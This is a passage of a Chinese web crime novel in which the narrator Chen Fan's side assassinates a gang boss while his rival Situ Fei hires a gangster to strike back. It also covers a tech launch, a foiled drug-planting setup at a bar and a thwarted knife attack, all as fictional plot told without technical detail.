龙三爷瞬间掏出自己藏在腰间的**,这是他留给自己的后路。
他马上拆下引信,扔向了黑衣人!
黑衣人的夜视仪看的非常清楚,他下意识的就后躲开!
砰!
砰!
一阵阵的响声,整个小楼发出了**的声音!
然后便变成了火海!
火势蔓延的极快!
不一会儿,整个三楼就都着了起来!
龙三爷的保镖们迅速开始救火,接电!
“二楼发现守卫尸体,颈部折断,一击致命!”
“后门的两个兄弟**,被割喉!”
“前门的还活着,但被注射了麻醉剂,昏迷不醒!”
整个三楼看起来一片狼藉,众人开始在三楼救火!
在现场,他们发现了三具被烧焦的尸体,保镖们面面相觑,因为他们不知道这些尸体哪个是老吴的,哪个是龙三爷的!
但他们知道,要变天了!
……
凌晨,我站在窗前,在等着东城的消息。
可消息,却迟迟未到。
我心里大概有了不好的预感,很有可能行动失败,搞不好,我派去的人都会折在里面。
柳媚笙穿着睡衣从卧室走出来,她走到我的身后,双手轻轻环住了我的腰。
“怎么起的这么早。”她把脸贴在我的背上。
“一直没睡。”我放下水杯,握住她的手。
“事情……办完了?”她问。
“可能不如意吧。”我叹了一口气说道。
柳媚笙沉默了一会儿,轻声说:“我刚才做了个梦,梦到我们还在海城,我还在开酒吧,没有冯家,没有司徒家,没有龙三爷,只有你和我,还有夏颜偶尔来喝酒。”
我转身,把她搂进怀里:“等上城的事情结束了,我们就回去。”
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“真的能结束吗?”柳媚笙抬起头看着我,眼神里有迷茫。
忽然,我的手机振动。
“刺杀成功,影子当场被炸身亡!”
我挂上手机,对着柳媚笙说道:“龙三爷**!”
“真的?!”柳媚笙的脸上露出不敢相信的神色!
那个曾经她恨之入骨的男人,现在终于**!
柳媚笙甚至都有点不敢相信,这是不是太快了!
“真的吗?陈凡,终于报仇了?!”柳媚笙喜极而泣。
“消息传来了,不会有假,不过影子也**!”我点了点头:“虽然龙三爷**,可是他的势力还在,那些想要对付我的人,也还在。”
“接下来你要怎么办?”
“下面就该司徒晴上场了,龙三爷的死,会让司徒飞阵脚大乱!”
柳媚笙明白了:“你要让司徒晴趁乱进攻。”
“对,而且我会给她最锋利的刀。”
“什么刀?”
陈凡没有直接回答,而是问:“你还记得龙三爷最喜欢盘的那串佛珠吗?”
“记得,他从不离身,说是高僧开过光的。”
“那串佛珠现在在我手里。”我说道:“佛珠的每一颗珠子都是空心的,里面藏着微型存储芯片,记录着龙三爷这些年来所有的交易、贿赂、见不得光的勾当。还有——他和司徒飞合作的每一个细节。”
柳媚笙倒吸一口凉气:“你怎么拿到的?”
“狼王拿到的,这就是为什么我要他必须取回佛珠,那不只是个战利品,是能捅穿司徒飞心脏的刀。”
“你要把证据给司徒晴?”
“不。”陈凡摇头,“我要让她‘偶然’发现这些证据。让她以为是自己找到了扳倒司徒飞的致命武器。这样,她才会更有动力,更义无反顾。”
柳媚笙看着他,忽然觉得眼前的男人陌生又熟悉。陌生的是他的手段,越来越狠,越来越深……
上城,凌晨四点。
司徒飞被急促的电话铃声吵醒。他接通电话,听了十秒钟,然后猛地从床上坐起,脸色惨白。
“**?**的?!”
电话那头的人说了什么,司徒飞的手开始发抖。他挂断电话,坐在床沿,呆呆地看着窗外逐渐亮起的天空。
龙三爷**。
那个他花了八位数请来对付陈凡的龙三爷,**。
死在自家的据点里,**身亡!
司徒飞拿起手机,手指颤抖地拨通一个号码。
“通知所有高管,一小时后开会。”他声音沙哑,“另外,加强我身边的安保。从现在开始,没有我的允许,任何人不得接近我三米以内。”
213神秘女人!
凌晨六点,司徒家在上城的总部大楼顶层,会议室里灯火通明。
长条会议桌旁坐了十一个人,都是司徒飞的核心团队。
司徒飞坐在主位,双手撑在桌面上,怒道:“说!把你们知道的都给我说出来!”
负责情报的副总李峰站起来,声音有些发颤:“龙三爷是凌晨三点半左右死的,和他一起死的还有军师吴老,初步判断死亡时间是凌晨三点四十到四点之间。”
“**的?”司徒飞大声咆哮道。
“龙三爷和吴老都是被炸伤,然后在被大火烧焦了。”李峰接着说道:“现场没有激烈搏斗的痕迹,保镖在断电期间被逐个解决,这场断电是人为的,我们电箱里发现了定时装置,就连备用电源系统被提前破坏。”
“谁干的?”司徒飞问。
李峰擦了擦额头上的汗水,没有说话,因为他也不知道谁干的。
司徒飞闭上眼睛,深吸一口气,再睁开时,眼睛里只剩下冰冷的杀意。
“陈凡。”他吐出这两个字。
所有人都看向他。
“只有他有这个能力,有这个动机,有这个胆量。”司徒飞缓缓站起来,在会议室里踱步,道:“我们刚和龙三爷达成合作,计划才刚开始实施,龙三爷就**,这不是巧合。”
“内奸!”司徒飞眼神忽然冰冷,道:“我们这里一定有内奸,不然陈凡怎么知道我们和龙三爷的计划?”
“查,马上给我查!”司徒飞彻底暴怒。
财务总监周明犹豫着开口道:“司徒总,我们是不是,暂时停一下?龙三爷**,他手下的势力肯定会乱。这时候继续和陈凡斗,可能会……”
“可能会什么?”司徒飞猛地转身,盯着他道:“可能会输?周总监,你是不是怕了?”
周明脸色一白,低下头不敢说话。
“我告诉你们!”司徒飞环视会议室里的每一个人说道:“现在不是停的时候,是加速的时候,龙三爷**,陈凡以为赢了?他错了,他这是捅了马蜂窝。”
“龙三爷的势力,不是他一个人的,他下面有五个堂主,各自有各自的地盘和人马,现在龙三爷**,这五个人会做什么?他们会抢地盘,会内斗,会想要给老大报仇来树立威信。”
技术副总裁刘振东抬起头:“司徒总的意思是……”
“我的意思是,我们要帮他们报仇,但不是真报,是借他们的手,去对付陈凡!”
他回到座位上,调出一份名单:“龙三爷手下五个堂主,赵虎管赌场和**,黑豹管安保和‘特殊事务’,兰姐管情报和人脉,另外两个一个管走私,一个管娱乐场所。这五个人里,谁最想上位?谁最需要证明自己?”
李峰想了想:“赵虎和黑豹,他们资历最老,实力最强,龙三爷活着的时候,他们就不太服管,现在龙三爷**,他们肯定是争得最凶的。”
“对。”司徒飞点头说:“所以我们要帮他们,但不是两个都帮,只帮一个,帮那个更冲动更贪心更没脑子的。”
“赵虎。”李峰立刻说道:“他好赌,好色,脾气暴,做事不过脑子,黑豹比他冷静,但野心更大。”
“那就赵虎。”司徒飞拍板道:“马上联系他,告诉他,我们知道是谁杀了龙三爷,只要他愿意给三爷报仇,我们司徒家全力支持他上位,钱,人脉,甚至是官面上的保护,都可以给他。”
周明忍不住问:“那代价呢?”
“代价就是他得听我们的。”司徒飞冷笑道:“等他把陈凡解决了,我们再扶持黑豹上位,让他们狗咬狗,我们坐收渔利。”
司徒飞说完后,巡视一周,手下的十人都互相点了点头,表示对这条计策的赞同。
“可是陈凡那边,”刘振东迟疑道:“他既然敢杀龙三爷,肯定已经做好了准备,赵虎这种莽夫,能对付得了他吗?”
“对付不了。”司徒飞坦率地说:“赵虎只是诱饵,是消耗品,我要他用命去试探陈凡的底牌,看他到底有多少实力,看他身边的人能为他挡多少刀。”
“而且,谁说我们只有赵虎这一张牌?”
所有人都看着司徒飞!
“龙三爷**,但他留下的计划还在。”司徒飞说道。
“可是没有龙三爷协调……”刘振东问道。
“我来协调。”司徒飞打断道:“从今天开始
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,所有针对陈凡的行动,直接向我汇报,我要知道他每天见了谁,说了什么,做了什么事。我要知道他身边每个人的弱点,每个人的软肋。”
他看向李峰道:“关于陈凡的情报工作加强三倍预算,所有和陈凡,司徒晴有业务往来的公司,全部渗透,我要他们内部有我们的人。”
司徒飞对着周明说道:“资金方面,准备五亿现金,随时调用,赵虎那边先给两千万定金,事成之后再给三千万。”
“好的,司徒总。”周明点了点头。
“刘振东,你要加速5G基带芯片的研发进度,我不管你们用什么方法,三个月内,必须拿出可商用的样品,陈凡想从技术层面打败我?我要让他知道,在绝对的实力面前,小聪明没用。”
会议开到早上八点才结束。
众人陆续离开后,司徒飞一个人坐在会议室里。
他拿起手机,拨通了一个加密号码。
“是我。”他对着话筒说道:“龙三爷**,计划有变,我需要你提前行动。”
电话那头传来一个低沉的女声:“什么时候?”
“一周内。”司徒飞说,“陈凡现在肯定很得意,以为除掉龙三爷就安全了,这时候他最容易放松警惕。我要你接近他,取得他的信任。”
“具体任务?”
“两件事。”司徒飞说,“第一,拿到他手里可能存在的,关于我和龙三爷合作的证据,龙三爷那种老狐狸,不可能不留后手,陈凡既然敢杀他,很可能已经拿到了什么。”
“第二呢?”
“第二。”司徒飞顿了顿,“我要你成为他身边最亲近的人之一。不是柳媚笙那种情人,不是夏颜那种伴侣,是不可或缺的合作伙伴。让他依赖你,信任你,甚至爱上你。”
电话那头沉默了。
“做不到?”司徒飞问。
“做得的。”女声平静地说,“但代价呢?”
“事成之后,司徒家在欧洲的产业,分你三成。”司徒飞说,“还有,你不是一直想摆脱家族的控制吗?我可以帮你。让你彻底自由,让你用全新的身份生活。”
又是一阵沉默,然后:“成交。”
214司徒晴出彩!
四季酒店顶级套房,我刚洗完澡。
柳媚笙从卧室走了出来,她递给了我一杯水,说道:“刚才周大伟来了,他留下来了这个给你。”
柳媚笙递过来一个牛皮纸袋,我接过来,打开,里面是那串龙三爷的佛珠。
“周大伟说,司徒飞联系了赵虎,兰姐在查佛珠的下落,黑豹暂时按兵不动。”
我把玩着龙三爷的佛珠,这个珠子,被龙三爷盘完的锃亮,谁能想到,这个看似普通的珠子,里面会藏着秘密。
“司徒晴那边怎么样?”我问。
“十点的发布会,一切都准备好了。”柳媚笙说:“她昨晚一夜没睡,看的出来,她很紧张,也很兴奋。”
“紧张是好事。”我放下佛珠,道:“紧张说明她重视,兴奋也是好事,说明她准备好了。”
我走到窗边,看着城东的方向,今天,是司徒晴正是走上人生的舞台,向所有人宣告她的存在,同时也向司徒飞宣战!
“对了,”柳媚笙忽然说,“刚才李姐来电话,问你能不能回去一趟,她说夏颜最近孕吐很厉害,情绪也不太好。”
我的心一紧,有一种不好的感觉,夏颜养胎期间情绪都是很稳定的,她怎么可能会情绪波动,除非是她知道了什么不好的事情。
“今天的事情,你帮着司徒晴盯着点。”
我说着就没拿起了衣服,柳媚笙走了过来,她环住了我的腰,在我的脸颊上蹭了蹭,然后道:“照顾好自己,别让我担心。”
“嗯……”
……
城东新区,晴空科技媒体发布会。
上午十点整,会场座无虚席,媒体的**短炮都架了起来。
司徒晴站在后台的落地镜前,最后一次检查自己的妆容。
她今天穿着定制的淡灰色西装套裙,长发在脑后挽成整齐的发髻,她今天脸上化了淡妆,唇色是稳重的豆沙红,眼神明亮而坚定。
“司徒小姐,该上台了。”助理小跑过来,声音有些发颤。
司徒晴深吸一口气,将手里那份讲稿又看了一眼。
她其实根本不需要讲稿,上面每一个字、每一组数据都刻在她脑子里,但她需要拿着点什么,来稳住那双微微颤抖的手。
司徒晴闭上眼,又睁开,她想到了陈凡,这个一直站在她背后的男人,她不想让陈凡失望。
“走吧!”
司徒晴的脸上写满了坚定和从容!
她的高跟鞋踩在大理石地面上,发出清脆悦耳的声音,司徒晴挺直了背脊。
门打开。
聚光灯打在了她的身上,刺眼的灯光让她的眼睛有些不适应,可她的脚步没有停顿,径直走向舞台的发言台。
台下响起掌声!
司徒晴在发言台后站定,双手轻按台面,目光扫过全场,她看到了熟悉的面孔,还有几家主流科技媒体的记者,几个投资机构的分析师,还有坐在第三排角落的那个男人。
司徒飞!
他今天穿了身深蓝色的西装,戴着一副平光眼镜,看起来像个普通观众!
但司徒晴太了解他了,他坐得笔直,双手抱臂,嘴角挂着一丝若有若无的冷笑,那是在看戏的表情。
很好,你来了!
司徒晴心里最后一丝紧张消失了,取而代之的是一种冰冷的平静。
“各位媒体朋友,各位业界同仁,上午好。”她开口道:“感谢大家今天莅临‘晴空科技’的首场媒体见面会。我是司徒晴,公司的创始人。”
她顿了顿,目光再次扫过全场:“我知道,很多人看到我站在这里,心里会有疑问,我一个司徒家的大小姐,凭什么站在这个舞台上?”
台下响起轻微的骚动,记者们抬起头,眼神变得兴奋,有料了,司徒晴的开场就直击痛点。
司徒晴微微一笑道:“答案是,凭技术!,凭我对5G通信未来的理解和判断,也凭我身后这支愿意相信梦想、敢于挑战权威的技术团队!
她身后的大屏显示出“晴空科技”的核心技术架构图。
“今天,我不想讲太多虚的。”司徒晴拿起激光笔,红色光点落在屏幕道:“我只想告诉大家三件事。”
“第一,‘晴空科技’的核心方向是5G射频前端和天线系统解决方案,我们不做基带芯片,不做终端设备,我们只做一件事,让5G信号传得更远、更稳、更省电。”
激光点移动,放大架构图中的关键模块。
“第二,我们已经完成了第一代产品原型的设计和验证,在毫米波频段下,我们的射频前端模块比现有方案功耗降低18%,信号稳定性提升22%,成本降低15%。具体的测试数据,会在会后提供给各位。”
台下的骚动更大了,有记者已经开始低头疯狂打字。
“第三。”司徒晴关掉激光笔,双手重新按在发言台上,身体微微前倾:“我们拿到了第一笔订单,来自‘智联万物’科技公司的定制化5G通信模组订单,首批五万套,下个月开始交付。”
她顿了顿,目光精准地落在司徒飞脸上:“我知道,有
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人会说这是小订单,不值一提,但我认为,这是一个开始。是用技术赢得市场的开始,是证明我们路走对了的开始。”
司徒晴言简意赅的发言,赢的了众人热烈的掌声。
在主持人的引领下,发布会进入了提问的环节!
第一个举手的是《科技前沿》的记者:“司徒小姐,您刚才提到成本降低15%,这个数据是基于什么参照物?是和国内同行比,还是和国际巨头比?”
“和目前市场上主流的解决方案比。”司徒晴从容回答,“包括国内和国际的方案,具体的对比表格,我们已经准备好了,稍后会发到各位的邮箱。”
第二哥,三个、第四个问题……司徒晴回答得滴水不漏,数据详实,逻辑清晰。
然后,到了第五个问题。
提问的是一家小媒体的记者,但司徒晴认识他,那是司徒飞常用来放暗箭的媒体之一。
“司徒小姐,”那记者推了推眼镜,语气听起来很温和,但问题很毒。
“您刚才说公司背后有强大的技术团队,但我查到,贵公司目前在职的研发人员只有二十七人,而且大部分都是从您之前在司徒家的团队挖来的。这是否意味着,您其实是在用司徒家的资源,做对抗司徒家的事?”
全场瞬间安静。
所有人的目光都集中在司徒晴身上。
坐在角落的司徒飞,嘴角的冷笑更明显了。
司徒晴沉默了两秒,这两秒里,她想了很多,想起那些被司徒飞用高薪挖走后又边缘化的工程师,想起王工、李博士、小赵他们这三年的憋屈和不甘。
然后,她抬起头,看向那个记者,也看向台下的所有人。
“首先,我要纠正一个说法。”她的声音依然平静,但多了一种不容置疑的力量。
“我没有‘挖’任何人,这些工程师,是主动投奔我们的!”
她顿了顿,眼神变得锐利:“所以,不是我用司徒家的资源。是司徒家,浪费了这些优秀的工程师三年时间。而现在,他们选择了相信自己,选择了重新出发。”
“至于对抗……”司徒晴笑了笑,那笑容里有一丝悲哀,“我只是在做自己认为正确的事,在做自己热爱的事。如果这被理解为对抗,那只能说明,有些人心里清楚自己做错了,却不敢承认。”
全场寂静!
然后,掌声响起。起初是零星的,然后越来越多,最后汇成一片。
那个提问的记者脸色涨红,还想说什么,但被旁边的人拉住了!
215不死不休!
坐在角落的司徒飞,脸上的冷笑消失了。
他看着台上那个光芒四射的司徒晴,第一次意识到自己真的是低估她了。
司徒飞站起身,冷冷的看着司徒晴,然后转身离开了发布会。
十一点半,发布会结束。
司徒晴走下台,助理立刻递上矿泉水,她接过来,手心里全是汗。
“司徒小姐,”助理小声说:“刚才有十七家媒体申请专访,八家投资机构想要进一步沟通,还有……司徒飞先生刚才从侧门离开了,走的时候脸色很难看。”
司徒晴喝了一口水,冰凉的水滑过喉咙,让她清醒了一些。
“知道了。”她说:“专访安排在下周,投资机构先收资料,我们筛选后再接触。”
她走向后台休息室,推开门的瞬间,身体晃了一下,几乎站不稳。
靠在墙上,她闭上眼睛,大口呼吸。
刚才在台上所有的从容和镇定都是装的。她紧张,紧张到手心出汗,紧张到胃部抽搐,紧张到差点在回答那个尖锐问题时失控。
但还好,她撑住了。
……
同一时间,静水庄园。
周大伟开着车,载着我去看夏颜,她的情绪,是我一直最放哪故乡你不下的。
“凡哥。”周大伟开着车,从后视镜看着我说道:“刚才收到消息,司徒晴的发布会很成功。现场视频已经传到加密服务器了。”
“嗯。”我应了一声:“司徒飞有什么反应?”
“他提前离场了,另外……”周大伟顿了顿:“我们的人拍到,发布会结束后,有两个可疑人员在会场外徘徊。看起来像道上的人。”
“派人二十四小时暗中保护司徒晴,不能断。”
“明白。”
车驶入别墅,我推门下车,夏颜已经在等着我了。
她穿着宽松的孕妇裙,外面披了件浅粉色的开衫,长发松松地挽着,脸上未施粉黛,整个人看起来柔软而温暖。看到我后,她的眼睛亮了起来。
我看见她,立刻快步走上前去,将她轻轻涌入怀里。
“我回来了。”我在她耳边低声说。
夏颜的身体微微颤抖,然后抬起手,环住我的腰。她把脸埋在我胸口,声音闷闷的:“你怎么瘦了?”
“想你想的。”我难得说了一句情话。
夏颜轻笑一声,推了推我:“油嘴滑舌。”
我和夏颜走进了屋子,我扶着她在沙发上坐下,然后蹲下身子,轻轻的抚摸着她的小腹,我感受着她肚子里生命的温度。
“最近怎么样?”我抬头看她,关心道:“电话里你说孕吐厉害。”
“好多了。”夏颜握住我的手,放在自己脸颊边道:“就是想你,晚上睡不好,老是做噩梦。”
“梦到什么?”我问。
“梦到你受伤。”夏颜的声音低下去:“梦到有人拿枪指着你,梦到你满身是血……”
“别瞎想。”我站起身,在她身边坐下,将她搂进怀里安慰道:“我好好的,一根头发都没少。”
夏颜靠在我的肩上,安静了一会儿,忽然说:“陈凡,我们离开吧。”
陈凡一愣。
“离开这里,离开上城,离开那些打打杀杀。”夏颜抬起头,眼睛里有水光,“我们去个安静的地方,把孩子生下来,好好过日子。钱够花了,公司可以交给别人管。我不想再提心吊胆了。”
我看着她,心脏像是被什么攥紧了。
我知道她有多担心,可她从来都不说。
“老婆……”他握住她的手,认真道:“再给我三个月,最多三个月,我把上城的事情处理好,就回来陪你!”
“现在你必须回去,对吗?”夏颜打断他,声音里带着哽咽道:“你必须回去和司徒飞斗,和那些黑帮斗,必须把自己置于危险之中?”
我知道,现在夏颜在怀孕,她的情绪起伏的很大,我不可以刺激她,只能是安慰着她。
见我不说话,夏颜的眼泪终于掉了下来。
“你知道我为什么什么都不说么?因为我怕我说了,你就会分心,我怕你在最关键的时候,因为担心我而犯错,我怕自己成为你的弱点!”
她忽然钻进了我的怀里,哭着说道:“可是我真的害怕还失去你,我已经失去过你一次了,我不可以没有丈夫,孩子不可以没有父亲。”
尽管我是一个心狠的人,可是听到她说的最后一句话,我的心也碎了,这该死的司徒飞,如果没有他碍事,我现在也不用这么折腾。
我紧紧的抱住夏颜,用下巴抵着她的头顶。
“老婆……”我轻声说道:“我答应你,这是最后一次。三个月后,无论结果如何,我都回来。陪你生孩子,陪孩子长大。那些打打杀杀的事,再也不碰了。”
夏颜抬起头,泪眼朦胧地看我:“真的?”
“真的。”我擦掉她的眼泪,“我发誓。”
夏颜看了我很久,然后点点头:“我相信你。”
我和夏颜在沙发上坐了很久,我们什么话都没说,只是安静的坐着……
……
东城,老城厢,一家地下赌场的包间里。
烟雾缭绕,酒气熏天。
赵虎坐在宽大的真皮沙发上,手里夹着雪茄,左右各搂着一个穿着暴露的女人,他对面坐着司徒飞,面前摆着一瓶开了的威士忌。
“司徒总。”赵虎咧嘴一笑,露出满口黄牙:“你说你知道是谁杀了三爷?”
“我知道。”司徒飞端起酒杯,抿了一口,“但告诉你之前,我得先确认一件事,你现在说话,算数吗?”
赵虎脸上的笑容僵了一下,随即变得更夸张:“当然算数!三爷走了,现在堂口我说了算!兄弟们,是不是?”
包间里站着的十几个手下齐声附和:“虎哥说了算!”
“那就好。”司徒飞放下酒杯,从公文包里拿出一份文件,推过去,“这是三爷生前最后的银行流水。你仔细看看最后
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一笔。”
赵虎推开怀里的女人,拿起文件。
他的文化程度不高,但数字还是认得的。最后一笔转账,八位数,从司徒家的公司账户,转到龙三爷的海外账户。
“这是……”
“这是我和三爷谈好的价钱。”司徒飞平静地说,“他帮我解决陈凡,我给他这个数。预付一半,事成之后再付一半。”
赵虎的眼睛亮了起来:“那剩下的一半……”
“剩下的一半,现在可以给你。”司徒飞又推过去一张支票:“但前提是,你得完成三爷没完成的事。”
赵虎盯着那张支票,眼神都冒光,那是他这辈子见过最多的零。
“你说,”他抬起头,眼中全是贪婪,“要我做什么?”
“三件事。”司徒飞竖起三根手指:“第一,陈凡身边有个叫柳媚笙的女人,在海城开了家酒吧叫‘迷醉’,我要你这周内,让这家酒吧关门。”
“简单!”赵虎一拍大腿:“我多派几批兄弟去‘消费’,在酒里放点东西,再报个警。保管它三天内停业整顿!”
“第二,”司徒飞继续道:“陈凡最近在扶持一个叫司徒晴的女人,她今天刚开了发布会,风头正劲。我要你给她一点……教训。”
赵虎眯起眼:“什么程度的教训?”
“断一条腿。”司徒飞的声音冰冷,“不用真的打断,但要吓得她不敢再抛头露面。最好能让她主动退出上城。”
“这个有点难度。”赵虎搓着手,“陈凡给她配了保镖,二十四小时的。”
“所以需要动脑子。”司徒飞又推过去一沓现金,“这些是活动经费,怎么做我不管,我只要结果。”
赵虎看着那沓现金,吞了口口水:“那第三件事呢?”
司徒飞身体前倾,声音压得更低:“第三,我要你帮我找一样东西。”
“什么东西?”
“一串佛珠。”司徒飞说:“三爷从不离身的那串沉香木佛珠,他死后,那串佛珠不见了,我怀疑在陈凡手里。”
赵虎皱眉:“佛珠?那玩意有什么用?”
“那里面有我想要的东西,你帮我找到它,我再给你这个数。”
司徒飞说着又推过去一张支票。
赵虎看着那两张支票,眼睛都红了。他这辈子都没见过这么多钱。有了这些钱,他就可以真正坐稳堂主的位置,甚至可以吞并其他堂口,成为下一个龙三爷。
“成交!”他一拍桌子,“三件事,我全包了!一周内给你结果!”
“很好。”司徒飞站起身,整理了一下西装,“但我提醒你,陈凡不是善茬,三爷就是死在他手上。你动手的时候,要快,要狠,不要留任何破绽。”
“放心!”赵虎也站起来,满脸横肉都在笑,“我赵虎做事,从来干净利落!”
两人握手。
司徒飞离开包间时,听到身后传来赵虎兴奋的吼声:“兄弟们!今晚全场我请客!不醉不归!”
216柳媚笙解局!
三天后,海城。
深夜十一点,迷醉酒吧人满为患。
柳媚笙坐在二楼的专属卡座,居高临下的看着场子,这是专属于她的座位。
她今天穿了一件暗红色的旗袍,开叉恰到好处,长发松松的挽起,她手里端着酒杯,确没有喝,只是轻轻的晃动着。
柳媚笙本来在上城,不过她查到了一些消息,特意赶了回来。
“柳总。”经理小跑着上来,压低声音道:“刚才下面来了三桌生面孔,我看着不太对劲。”
柳媚笙眼睛都没抬:“他们怎么不对劲?”
“他们都是二十出头的年轻人,但点的全是烈酒,喝得很快,眼神到处瞟,不像是来玩的。”经理擦了擦汗道:“而且他们分开坐的,一桌在舞池边,一桌在吧台,一桌在卫生间附近。”
柳媚笙放下酒杯,站起身,走到栏杆边向下看,她很快锁定了那三桌人,大概十五六个,他们都穿着普通的T恤牛仔裤,但坐姿很挺,手臂肌肉线条明显,眼神里带着一股掩饰不住的戾气。
赵虎的人。
柳媚笙嘴角冷笑,这帮人来的比她预想的要快。
“报警了吗?”柳媚笙问道。
“还没有。”经理犹豫道:“万一他们是正常客人……”
“他们不是。”柳媚笙打断他,转身走回座位,拿起手机发了条信息,然后对经理说:“让安保组全员就位,但不要惊动他们,把后门清空,预留逃生通道,另外,通知吧台,给那三桌的酒里加点料。”
经理一愣:“加料?”
“双倍酒精。”柳媚笙勾起嘴角:“既然要**,就让他们闹得痛快些。”
“明白了。”
经理点了点头,然后下去安排了。
柳媚笙重新端起酒杯,抿了一口,目光再次投向楼下。
她看到吧台的调酒师在给那几桌送酒时,手法隐蔽地在杯沿抹了些什么,那是特制的强效**,喝下去后会让人心跳加速,情绪亢奋,自制力下降。
十分钟后,药效开始发作。
舞池边那桌的一个平头青年突然站起来,一把推开旁边跳舞的女孩:“**瞎啊?踩我鞋了!”
女孩被推得踉跄几步,差点摔倒,同伴立刻围上来:“你怎么动手啊?”
“动手怎么了?”平头青年嗓门提高:“你们先踩我的!”
争吵迅速升级,另外两桌的人也站起来,呈包围之势围过去,舞池的音乐还在继续,但周围的人都停下了动作,往这边看。
安保人员从各个方向迅速靠近,但还没等他们赶到,平头青年已经从怀里掏出一个小塑料袋,猛地往吧台方向一扔:“这里有人**!”
塑料袋在空中划过一道弧线,里面白色的粉末洒出来一些。
场面瞬间炸了。
尖叫声响起,人群开始往门口涌。
吧台的调酒师眼疾手快,一把接住塑料袋,同时用身体挡住了酒架,那里有监控死角。
“都别动!”平头青年继续大喊,“我已经报警了!治安员马上就到!”
他的同伴们开始推搡周围的人,制造更大的混乱。有人打翻了桌子,酒杯碎裂声此起彼伏。
柳媚笙放下酒杯,站起身,从楼梯缓缓走下来。
她没有说话,只是站在那里,看着那三桌人。
“谁说要报警的?”柳媚笙开口,声音不大,却清晰地穿透了音乐。
平头青年梗着脖子:“我说的!你们酒吧**!我亲眼看到的!”
“哦?”柳媚笙走到他面前,挑眉问道:“毒在哪里?”
“就在吧台!”青年指向刚才塑料袋飞过去的方向。
柳媚笙转身,对调酒师说:“阿杰,让他搜。”
调酒师阿杰点点头,让开位置,同时不着痕迹地按了一下吧台下面的按钮,那是紧急销毁装置,三秒内,所有特制酒水会通过管道排入下水道。
平头青年带着两个同伴走到吧台,装模作样地翻找起来。酒架、冰箱、操作台……他们搜得很仔细,但什么都没找到。
“不可能!”青年脸色变了,“我刚才明明扔过来了!”
“你扔了什么?”柳媚笙问。
“我……”青年语塞。
就在这时,酒吧的门被推开,四个治安员走进来。
“谁报的警?”治安员问道。
平头青年立刻举手:“我!警官,这家酒吧**!”
治安员看了他一眼,又看向柳媚笙,眼神交换了一个微不可察的信号。
“搜。”治安员对身后的人说。
治安员开始搜查,
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整个过程持续了二十分钟,从吧台到卡座,从卫生间到储物间,甚至检查了通风管道,最后,一无所获。
“警官。”柳媚笙适时开口道:“我想这位客人可能是喝多了,产生了幻觉,我们‘迷醉’开业三年,一直是合法经营,从来没有出过问题。”
治安员点点头,看向平头青年道:“你,还有你的朋友,身份证拿出来。”
青年们面面相觑,不情不愿地掏出身份证,治安员一一登记,然后说:“报假警,扰乱公共秩序,跟我回所里接受调查。”
“凭什么?”平头青年急了说道:“我真的看到了!”
“看到什么了?”治安员冷冷地问:“我们什么都没搜到。要么你是看错了,要么你是故意捣乱。不管是哪种,都得回去说清楚。”
青年还想争辩,但被同伴拉住了。他们意识到,今晚踢到铁板了。
一行人被治安员带走,酒吧渐渐恢复了秩序,音乐重新响起,但气氛已经不一样了。
柳媚笙回到二楼卡座,刚坐下,手机就响了。
“没事吧?”我问道。
“没事。”柳媚笙端起酒杯,发现手有点抖,于是放下,道:“赵虎派了十五个人来,想栽赃**,人已经带走了,东西也处理干净了。”
“他们不会善罢甘休的,这只是试探,下一波会更狠。”我说道。
“我知道。”柳媚笙看着楼下渐渐恢复热闹的舞池,“所以我给他们准备了一份回礼。”
“什么回礼?”我问。
“赵虎在闸北区有三家地下赌场,最大的那家叫‘金玉满堂’。”柳媚笙嘴角勾起一抹冷笑,“我查过了,那家赌场这个月的保护费还没交,而且最近来了几批豪客,流水很大。我已经把线索匿名发给经侦了,最快明晚就会有人去‘拜访’。”
我笑了:“你这招叫做以其人之道还治其人之身。”
“跟在你身边这么久,总得学会点什么。”柳媚笙轻声说,“你那边怎么样?夏颜还好吗?”
“她很好。就是孕吐厉害,情绪不太稳定。”我说道:“海城的事情解决了,你就回上城吧,我这里需要你。”
“嗯……”
电话那头传来柳媚笙娇媚的声音:“我也需要你了……”
217佛珠里的秘密!
凌晨一点,城东新区某高端公寓楼下。
司徒晴的车缓缓驶入地下停车场,她今天开完发布会后,又连续见了三批投资人,晚上还和团队开了两个小时的复盘会,此刻已经累的筋疲力尽。
车停稳,她拔下钥匙,拎起包下车。
高跟鞋踩在光滑的水泥地上,发出清晰的回响,停车场很安静,只有几盏昏暗的灯亮着,大部分车位都空着。
她走向电梯间,脚步声在空旷的空间里被放大。
就在距离电梯还有十几米时,身后突然传来急促的脚步声。
司徒晴心头一紧,但没有回头,反而加快了脚步。手伸进包里,握住了防狼喷雾,她一直随身带着。
脚步声越来越近,司徒晴的心提到了嗓子眼上,她猛地转身,同时按下了防狼喷雾。
可是,她却喷空了。
司徒晴看到身后有两个带着鸭舌帽和口罩的男人,他们一高一矮,他们迅速躲开了喷雾,然后冲到自己的面前,他们手里握着的是刀。
司徒晴想要尖叫,但声音卡在喉咙里,她下意识地向后退,后背撞在了冰冷的墙壁上。
完了。
这个念头闪过脑海,她闭上了眼睛,她脑海中不自觉的浮现出了我的身影。
忽然,一道黑影从侧面扑过来,速度快得惊人。
矮个子男人还没反应过来,就被一记肘击撞在肋下,整个人横飞出去,撞在旁边的柱子上,发出沉闷的响声。
高的那个立刻挥刀刺向黑影,但刀在半空中被精准地扣住了手腕,黑影手腕一拧,伴随着“咔嚓”的骨裂声,刀掉在地上,紧接着,一记膝撞重重顶在那人腹部,他闷哼一声,蜷缩着倒下去。
整个过程不超过五秒。
黑影转过身,是个穿着黑色夹克的男人,三十出头,相貌普通,但眼神锐利如鹰。
“司徒小姐,没事吧?”他问,声音平稳,呼吸都没乱。
司徒晴这才认出他,这是陈凡安排在她身边的保镖,代号阿城。
“没……没事。”她靠着墙,腿还在发软:“他们……”
“赵虎的人。”阿城蹲下身,在两个袭击者身上快速搜查,找到了两部手机和几把备用刀道:“他们是专门来找您麻烦的。”
这时,停车场入口传来引擎声,一辆黑色SUV冲进来,急停在旁边,车上跳下三个人,都是阿城的队友。
“清理现场,查手机通讯记录。”山猫命令道,然后对司徒晴说,“司徒小姐,这里不安全了,我们需要马上转移。”
“去哪儿?”
“净水山庄。”阿城扶起她:“陈总安排的,那里最安全。”
司徒晴点点头,任由山猫扶着她走向那辆SUV,上车前,她回头看了一眼躺在地上的两个袭击者,他们已经昏迷,像两条死狗。
车驶出停车场,在深夜中,赶往静水庄园。
后座上,司徒晴抱着手臂,身体还在微微颤抖,刚才那一刻的恐惧,现在才后知后觉地涌上来。
“阿城。”她声音有些哑:“陈总……知道今晚会发生这些吗?”
